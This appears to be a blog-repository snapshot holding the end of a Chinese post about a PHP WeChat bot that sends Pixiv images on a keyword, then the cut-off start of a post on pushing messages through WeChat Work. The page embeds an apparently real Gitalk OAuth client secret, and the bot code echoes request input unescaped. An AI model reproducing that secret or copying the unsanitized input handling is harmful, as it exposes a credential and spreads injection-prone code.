<span class="s2">"Content-Type: image/jpg</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="nv">$picdata</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"--</span><span class="se">\r\n</span><span class="s2">"</span>
<span class="p">)</span>
<span class="p">));</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span> <span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-type: application/json;charset=utf-8'</span><span class="p">,</span><span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s1">'{
"touser":"'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"openid"</span><span class="p">]</span><span class="mf">.</span><span class="s1">'",
"msgtype":"image",
"image":
{
"media_id":"'</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/media/upload?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'&amp;type=image'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'media_id'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'"
}
}'</span><span class="p">))));</span>
<span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$timestamp</span><span class="o">=</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"timestamp"</span><span class="p">];</span>
<span class="nv">$nonce</span><span class="o">=</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"nonce"</span><span class="p">];</span>
<span class="nv">$tmpArr</span><span class="o">=</span><span class="k">array</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span> <span class="nv">$timestamp</span><span class="p">,</span> <span class="nv">$nonce</span><span class="p">);</span>
<span class="nb">sort</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">,</span> <span class="no">SORT_STRING</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span> <span class="nb">sha1</span><span class="p">(</span><span class="nb">implode</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">))</span> <span class="o">==</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"signature"</span><span class="p">]</span> <span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">]){</span>
<span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">];</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="c1">// 加载XML内容</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="nv">$p</span> <span class="o">=</span> <span class="nb">xml_parser_create</span><span class="p">();</span>
<span class="nb">xml_parse_into_struct</span><span class="p">(</span><span class="nv">$p</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$vals</span><span class="p">,</span> <span class="nv">$index</span><span class="p">);</span>
<span class="nb">xml_parser_free</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'MSGTYPE'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'text'</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'CONTENT'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'来点色图'</span><span class="p">){</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[text]]&gt;&lt;/MsgType&gt;
&lt;Content&gt;&lt;![CDATA[开始发起请求,请耐心等待]]&gt;&lt;/Content&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://'</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_HOST'</span><span class="p">]</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'PHP_SELF'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'?upap=1&amp;openid='</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">],</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'timeout'</span> <span class="o">=&gt;</span> <span class="mf">0.5</span><span class="p">))));</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'success'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'error'</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>2021.02.26更新似乎在库中的图片有一些是被删掉了所以为了提高回复的成功率增加了3次重试。</p>
<h1 id="如何使用">
<a href="#如何使用"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 如何使用?
</h1>
<p>具体应该不需要我说了吧看之前的几篇关于微信机器人的文章里面的这段就行了。这里我删掉了2个参数又增加了2个一个是Token想填啥都行只要和测试号里配置一样就行。另一个是source那个是Pixiv的图片服务器如果后端服务器在国外那这个就不用管了如果在国内的话需要改成<code class="language-plaintext highlighter-rouge">https://i.pixiv.cat</code>来做反代或者如果有其他反代服务也可以自己用CloudFlare Worker建一个也没有问题。</p>
<h1 id="结尾">
<a href="#结尾"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 结尾
</h1>
<p>那个Lolicon API实在是不好用不过我也懒得解决了所以就托学弟在做Pixiv日榜的收集回头看看效果怎么样实在不行就去研究一下各种各样的什么booru之类的图站吧用那些图片也是个不错的选择。</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%9B%BE%E7%89%87"><em>图片</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=Pixiv"><em>Pixiv</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%9C%BA%E5%99%A8%E4%BA%BA"><em>机器人</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-23-picbotpro.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/23/picbotpro.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/19/picbot.html">
上一篇:如何制作一个能发好图的微信机器人
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/26/serverchancorp.html">
下一篇做一个Server酱·TurboMini企业应用版
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/23/picbotpro', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/23/picbotpro.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

View File

@@ -0,0 +1,379 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>做一个Server酱·TurboMini企业应用版 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="做一个Server酱·TurboMini企业应用版" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="简单的事情应该自己去做" />
<meta property="og:description" content="简单的事情应该自己去做" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-26T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="做一个Server酱·TurboMini企业应用版" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-26T00:00:00+08:00","datePublished":"2021-02-26T00:00:00+08:00","description":"简单的事情应该自己去做","headline":"做一个Server酱·TurboMini企业应用版","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/26/serverchancorp.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/26/serverchancorp.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/26/serverchancorp.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-26T00:00:00+08:00">26 February 2021</time> - 字数统计2209 - 阅读大约需要7分钟 - Hits: <span id="/2021/02/26/serverchancorp.html" class="visitors">Loading...</span></small>
<h1 class="p-name">做一个Server酱·TurboMini企业应用版</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 26 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要介绍了作者开发Server酱·TurboMini企业应用版的原因源于Server酱服务即将结束且收费。作者通过对比发现企业微信的应用相比Server酱有自定义主页、更多API调用次数的优点但配置过程稍显复杂且Markdown支持不足。作者指出Server酱的收费和广告过多以及对模板消息功能的误解认为如果去掉了不合理的收费和广告Server酱原本是一个不错的产品。最后作者考虑到Server酱的商业模式认为开发者可能会转向其他选择如利用微信企业微信的功能来替代。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#如何制作">如何制作?</a></li><li><a href="#如何配置">如何配置?</a><ul><li><a href="#第一步注册企业">第一步,注册企业</a></li><li><a href="#第二步创建应用">第二步,创建应用</a></li><li><a href="#第三步获取企业id">第三步获取企业ID</a></li><li><a href="#第四步推送消息到微信">第四步,推送消息到微信</a></li></ul></li><li><a href="#可以改进的地方">可以改进的地方</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>简单的事情应该自己去做<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>这个月初由于Server酱要挂了然后Turbo版又要钱所以我特地写了一个<a href="/2021/02/02/serverchan.html">Server酱·TurboMini测试号版</a>然而据那个开发Server酱的人说微信要下掉的是模板消息而不是故意坑人不做这个东西了。过了一段时间后那个开发者说可以用企业微信啥的通道继续搞顺便还给普通账户使用Turbo版的一点点权限然后价格似乎也稍微降了一点 </p><p>
但问题是我们之所以使用Server酱只是因为注册服务号很麻烦微信认证要主体所以我们才用用这个的人也应该都是开发者吧那如果说资源都是我们出的话还何必用那个一堆广告的Server酱呢而且想好好用还要花钱都是开发者了没必要交这种智商税吧 </p><p>
不过看在它还给我们推荐了些路子,那也就不用太过分的说它了吧。</p>
<h1 id="如何制作">
<a href="#如何制作"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 如何制作?
</h1>
<p>我也倒是去看了看企业微信的开发文档,和公众号的开发文档那就是大同小异啊,所以今天依然是一句话解决问题:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$cid</span><span class="o">=</span><span class="s1">'企业ID'</span><span class="p">;</span>
<span class="nv">$agentId</span><span class="o">=</span><span class="s1">'应用ID/AgentId'</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="s1">'应用Secret'</span><span class="p">;</span>
<span class="nv">$userid</span><span class="o">=</span><span class="s1">'@all'</span><span class="p">;</span><span class="c1">//用户ID不知道可以不改</span>
<span class="nv">$title</span><span class="o">=</span><span class="s1">'标题'</span><span class="p">;</span>
<span class="nv">$content</span><span class="o">=</span><span class="s1">'内容'</span><span class="p">;</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token='</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid='</span><span class="mf">.</span><span class="nv">$cid</span><span class="mf">.</span><span class="s1">'&amp;corpsecret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">],</span><span class="kc">false</span><span class="p">,</span><span class="nb">stream_context_create</span><span class="p">([</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span><span class="o">=&gt;</span><span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span><span class="o">=&gt;</span><span class="s2">"content-type: application/json; charset=UTF-8"</span><span class="p">,</span><span class="s1">'content'</span><span class="o">=&gt;</span><span class="s1">'{"touser":"'</span><span class="mf">.</span><span class="nv">$userid</span><span class="mf">.</span><span class="s1">'","msgtype":"text","agentid":'</span><span class="mf">.</span><span class="nv">$agentId</span><span class="mf">.</span><span class="s1">',"text":{"content":"'</span><span class="mf">.</span><span class="nv">$title</span><span class="mf">.</span><span class="s1">'\n'</span><span class="mf">.</span><span class="nv">$content</span><span class="mf">.</span><span class="s1">'"}}'</span><span class="p">)]));</span>
</code></pre></div></div>
<p>从体验上来说的话这个企业应用版的体验还是不错的和测试号相比首先可以在主页显示虽然有二级但是两边的图标和名字都是可以自定义的而且API的调用次数也要比测试号多很多用起来还是挺不错的和测试号比唯一的缺点应该就是首次配置有点麻烦。 </p><p>
另外我在写这个东西的时候发现这个API还是和测试号的API不太一样测试号那个在发post请求的时候post可以小写但是这个垃圾企业微信的API的POST必须大写不然就400搞得我调试了半天才调试好。</p>
<h1 id="如何配置">
<a href="#如何配置"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 如何配置?
</h1>
<p>一样这个是兼容Server酱的需要的参数和Server酱需要的一样多所以配置也是完全兼容的。不过考虑到Server酱可怜的连每月5kw次请求都受不住配置方法我就在这里再写一遍吧</p>
<h2 id="第一步注册企业">
<a href="#第一步注册企业"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第一步,注册企业
</h2>
<p>用电脑打开<a href="https://work.weixin.qq.com/">企业微信官网</a>,注册一个企业</p>
<h2 id="第二步创建应用">
<a href="#第二步创建应用"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第二步,创建应用
</h2>
<p>注册成功后,点「管理企业」进入管理界面,选择「应用管理」 → 「自建」 → 「创建应用」 </p><p>
应用名称随便填比如「Mayx的机器人」应用logo随便找一个就行可见范围可以选择自己如果想推送给其他人就选公司。 </p><p>
创建完成后进入应用详情页可以得到应用ID(agentid)应用Secret(secret),复制并填到代码中。</p>
<h2 id="第三步获取企业id">
<a href="#第三步获取企业id"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 第三步获取企业ID
</h2>
<p>进入「<a href="https://work.weixin.qq.com/wework_admin/frame#profile">我的企业</a>」页面拉到最下边可以看到企业ID复制并填到上方。 </p><p>
推送UID不知道怎么填就直接填<code class="language-plaintext highlighter-rouge">@all</code>,推送给公司全员。</p>
<h2 id="第四步推送消息到微信">
